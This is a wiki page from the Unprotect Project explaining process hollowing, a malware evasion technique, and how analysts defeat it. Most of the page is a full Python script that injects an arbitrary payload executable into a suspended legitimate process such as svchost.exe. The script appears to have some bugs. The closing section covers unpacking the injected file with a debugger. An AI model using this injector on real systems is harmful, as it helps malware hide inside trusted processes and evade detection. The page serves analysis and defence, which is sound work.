Process hollowing

From Unprotect Project
Jump to: navigation, search

Process hollowing is a common technique that inject a code in a suspended process. This technic could be use by malware to avoid detection and inject the code into a legitimate process.

How it works

To use process hollowing, attackers uses the following API:

  • CreateProcess: in a suspended mode with the CreationFlag at 0x0000 0004.
  • GetThreadContext: retrieves the context of the specified thread.
  • ZwUnmapViewOfSection: Unmaps a view of a section from the virtual address space of a subject process.
  • VirtualAllocEx: allocates memory within the suspended process’s address space.
  • WriteProcessMemory: writes data of the PE file into the memory just allocated within the suspended process.
  • SetThreadContext: sets the EAX register to the entry point of the executable written.
  • ResumeThread: resumes the thread of the suspended process.

Code example

  1 from ctypes import *
  2 from pefile import PE
  3 import sys
  4 
  5 if len(sys.argv) != 3:
  6         print "Usage: runPE.py Payload.exe Target.exe"
  7         print "Example: runPE.py HelloWorld.exe C:\windows\system32\svchost.exe"
  8         sys.exit()
  9 
 10 
 11 
 12 payload_exe = sys.argv[1]
 13 target_exe = sys.argv[2]
 14 stepcount = 1
 15 
 16 
 17 class PROCESS_INFORMATION(Structure):
 18 	_fields_ = [
 19                 ('hProcess', c_void_p), 
 20                 ('hThread', c_void_p), 
 21                 ('dwProcessId', c_ulong), 
 22                 ('dwThreadId', c_ulong)]
 23 	
 24 class STARTUPINFO(Structure):
 25 	_fields_ = [
 26                 ('cb', c_ulong), 
 27                 ('lpReserved', c_char_p),    
 28                 ('lpDesktop', c_char_p),
 29                 ('lpTitle', c_char_p),
 30                 ('dwX', c_ulong),
 31                 ('dwY', c_ulong),
 32                 ('dwXSize', c_ulong),
 33                 ('dwYSize', c_ulong),
 34                 ('dwXCountChars', c_ulong),
 35                 ('dwYCountChars', c_ulong),
 36                 ('dwFillAttribute', c_ulong),
 37                 ('dwFlags', c_ulong),
 38                 ('wShowWindow', c_ushort),
 39                 ('cbReserved2', c_ushort),
 40                 ('lpReserved2', c_ulong),    
 41                 ('hStdInput', c_void_p),
 42                 ('hStdOutput', c_void_p),
 43                 ('hStdError', c_void_p)]
 44 	
 45 class FLOATING_SAVE_AREA(Structure):
 46 	_fields_ = [
 47                 ("ControlWord", c_ulong),
 48                 ("StatusWord", c_ulong),
 49                 ("TagWord", c_ulong),
 50                 ("ErrorOffset", c_ulong),
 51                 ("ErrorSelector", c_ulong),
 52                 ("DataOffset", c_ulong),
 53                 ("DataSelector", c_ulong),
 54                 ("RegisterArea", c_ubyte * 80),
 55                 ("Cr0NpxState", c_ulong)]	
 56 	
 57 class CONTEXT(Structure):
 58         _fields_ = [
 59                 ("ContextFlags", c_ulong),
 60                 ("Dr0", c_ulong),
 61                 ("Dr1", c_ulong),
 62                 ("Dr2", c_ulong),
 63                 ("Dr3", c_ulong),
 64                 ("Dr6", c_ulong),
 65                 ("Dr7", c_ulong),
 66                 ("FloatSave", FLOATING_SAVE_AREA),
 67                 ("SegGs", c_ulong),
 68                 ("SegFs", c_ulong),
 69                 ("SegEs", c_ulong),
 70                 ("SegDs", c_ulong),
 71                 ("Edi", c_ulong),
 72                 ("Esi", c_ulong),
 73                 ("Ebx", c_ulong),
 74                 ("Edx", c_ulong),
 75                 ("Ecx", c_ulong),
 76                 ("Eax", c_ulong),
 77                 ("Ebp", c_ulong),
 78                 ("Eip", c_ulong),
 79                 ("SegCs", c_ulong),
 80                 ("EFlags", c_ulong),
 81                 ("Esp", c_ulong),
 82                 ("SegSs", c_ulong),
 83                 ("ExtendedRegisters", c_ubyte * 512)]
 84 
 85 def error():
 86         print "[!]Error: " + FormatError(GetLastError())
 87         print "[!]Exiting"
 88         print "[!]The process may still be running"
 89         sys.exit()
 90         
 91 
 92 print "[" + str(stepcount) +"]Creating Suspended Process"
 93 stepcount += 1
 94 
 95 startupinfo = STARTUPINFO()
 96 startupinfo.cb = sizeof(STARTUPINFO)
 97 processinfo = PROCESS_INFORMATION()
 98 
 99 CREATE_SUSPENDED = 0x0004
100 if windll.kernel32.CreateProcessA(
101                                 None,
102                                 target_exe,
103                                 None,
104                                 None,
105                                 False,
106                                 CREATE_SUSPENDED,
107                                 None,
108                                 None,
109                                 byref(startupinfo),
110                                 byref(processinfo)) == 0:
111        error()
112         
113 
114 hProcess = processinfo.hProcess
115 hThread = processinfo.hThread
116 
117 
118 print "\t[+]Successfully created suspended process! PID: " + str(processinfo.dwProcessId)
119 print
120 print "[" + str(stepcount) +"]Reading Payload PE file"
121 stepcount += 1
122 
123 File = open(payload_exe,"rb")
124 payload_data = File.read()
125 File.close()
126 payload_size = len(payload_data)
127 
128 print "\t[+]Payload size: " + str(payload_size)
129 print
130 print "[" + str(stepcount) +"]Extracting the necessary info from the payload data."
131 stepcount += 1
132 
133 payload = PE(data = payload_data)
134 payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase
135 payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage
136 payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders
137 payload_sections = payload.sections
138 payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections
139 payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint
140 payload.close()
141 
142 MEM_COMMIT = 0x1000
143 MEM_RESERVE = 0x2000
144 PAGE_READWRITE = 0x4
145 
146 payload_data_pointer = windll.kernel32.VirtualAlloc(None,
147                                 c_int(payload_size+1),
148                                 MEM_COMMIT | MEM_RESERVE,
149                                 PAGE_READWRITE)
150 
151 
152 memmove(                        payload_data_pointer,
153                                 payload_data,
154                                 payload_size)
155 
156 print "\t[+]Data from the PE Header: "
157 print "\t[+]Image Base Address: " + str(hex(payload_ImageBase))
158 print "\t[+]Address of EntryPoint: " + str(hex(payload_AddressOfEntryPoint))
159 print "\t[+]Size of Image: " + str(payload_SizeOfImage)
160 print "\t[+]Pointer to data: " + str(hex(payload_data_pointer))
161 
162 
163 print
164 print "[" + str(stepcount) +"]Getting Context"
165 cx = CONTEXT()
166 cx.ContextFlags = 0x10007
167 
168 if windll.kernel32.GetThreadContext(hThread, byref(cx)) == 0:
169          error()
170 print
171 print "[" + str(stepcount) +"]Getting Image Base Address from target"
172 stepcount += 1
173 
174 base = c_int(0)
175 windll.kernel32.ReadProcessMemory(hProcess, c_char_p(cx.Ebx+8), byref(base), sizeof(c_void_p),None)
176 target_PEBaddress = base
177 print "\t[+]PEB address: " + str(hex(target_PEBaddress.value))
178 
179 
180 print
181 print "[" + str(stepcount) +"]Unmapping"
182 if target_PEBaddress ==  payload_ImageBase:
183         if not windll.ntdll.NtUnmapViewOfSection(
184                                 hProcess,
185                                 target_ImageBase):
186                 error()
187 
188 print
189 print "[" + str(stepcount) +"]Allocation memory"
190 stepcount += 1
191 
192 MEM_COMMIT = 0x1000
193 MEM_RESERVE = 0x2000
194 PAGE_EXECUTE_READWRITE = 0x40
195 
196 address = windll.kernel32.VirtualAllocEx(
197                                 hProcess, 
198                                 c_char_p(payload_ImageBase), 
199                                 c_int(payload_SizeOfImage), 
200                                 MEM_COMMIT|MEM_RESERVE, 
201                                 PAGE_EXECUTE_READWRITE)
202 
203 if address == 0:
204         error()
205 
206 print "\t[+]Allocated to: "+ str(hex(address))
207 
208 print
209 print "[" + str(stepcount) +"]Writing Headers"
210 stepcount += 1
211 
212 lpNumberOfBytesWritten = c_size_t(0)
213 
214 if windll.kernel32.WriteProcessMemory(
215                                 hProcess,
216                                 c_char_p(payload_ImageBase),
217                                 c_char_p(payload_data_pointer),
218                                 c_int(payload_SizeOfHeaders),
219                                 byref(lpNumberOfBytesWritten)) == 0:
220                 error()
221 
222 print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
223 print "\t[+]Pointer to data: " + str(hex(payload_ImageBase))
224 print "\t[+]Writing to: " + str(hex(payload_data_pointer))
225 print "\t[+]Size of data: " + str(hex(payload_SizeOfHeaders))
226 
227 print
228 for i in range(payload_NumberOfSections):
229         section = payload_sections[i]
230         dst = payload_ImageBase + section.VirtualAddress
231         src = payload_data_pointer + section.PointerToRawData
232         size = section.SizeOfRawData
233         print
234         print "[" + str(stepcount) +"]Writing section: " + section.Name
235         stepcount += 1
236         print "\t[+]Pointer to data: " + str(hex(src))
237         print "\t[+]Writing to: " + str(hex(dst))
238         print "\t[+]Size of data: " + str(hex(size))
239 
240         lpNumberOfBytesWritten  = c_size_t(0)
241 
242         if windll.kernel32.WriteProcessMemory(
243                                 hProcess,
244                                 c_char_p(dst),
245                                 c_char_p(src),
246                                 c_int(size),
247                                 byref(lpNumberOfBytesWritten)) == 0:
248                  error()
249                  
250         print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
251          
252 print
253 print "[" + str(stepcount) +"]Editing Context"
254 stepcount += 1
255 
256 cx.Eax = payload_ImageBase + payload_AddressOfEntryPoint
257 
258 lpNumberOfBytesWritten  = c_size_t(0)
259 if windll.kernel32.WriteProcessMemory(
260                                 hProcess,
261                                 c_char_p(cx.Ebx+8),
262                                 c_char_p(payload_data_pointer+0x11C),
263                                 c_int(4),
264                                 byref(lpNumberOfBytesWritten)) == 0:
265          error()
266 
267 print "\t[+]Pointer to data: " + str(hex(cx.Ebx+8))
268 print "\t[+]Writing to: " + str(hex(payload_data_pointer+0x11C))
269 print "\t[+]Size of data: " + str(hex(4))
270 print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
271 
272 print 
273 print "[" + str(stepcount) +"]Setting Context"
274 stepcount += 1
275 
276 windll.kernel32.SetThreadContext(
277                                 hThread,
278                                 byref(cx))
279 
280 print
281 print "[" + str(stepcount) +"]Resuming Thread"
282 stepcount += 1
283 
284 if windll.kernel32.ResumeThread(hThread) == 0:
285         error()
286 
287 print
288 print "[" + str(stepcount) +"]Success"

Defeat it

With a process explorer tools it is possible to see the process loaded into another.

With a debugger, it is also possible to dump the file injected into the hollowing process.

VirtualAlloc Function


We can here dump the unpacked file loaded in the memory after the 4th hit of VirtualAlloc. We can see the VirtualAlloc API by hit CTRL+G and enter “VirtualAlloc”:

Breakpoint at VirtualAlloc


By pressing F9 we hit the breakpoint, then we return to usercode, and follow the register EAX in memory.

Follow in dump


We have now in memory pan an empty space which will be fill by the function. We can setup a hardware breakpoint to see what’s happened.

Breakpoint in memory


Then we press F9 to check the file dropped in the memory space. Here we see the memory during each hit of VirtualAlloc. The sample unpacked is the last one.

PE on memory space


We can dump this one for analysis with “save data to file”.

Save memory data to file


At this point we have a valid unprotected PE. The other way to dump quickly the PE without hit each VirtualAlloc is to setup a breakpoint at WriteProcessMemory API and follow in memory the buffer. The process Hollowing is a common technic use by malware and can be easily defeat by analyst. However sometimes a combination of several technics can avoid the break of process hollowing (anti-dump, anti-debug…). Then the analyst should deal with it and defeat each technics used.

References

http://www.autosectools.com/process-hollowing.pdf
https://attack.mitre.org/wiki/Technique/T1093
https://github.com/m0n0ph1/Process-Hollowing/tree/master/sourcecode/ProcessHollowing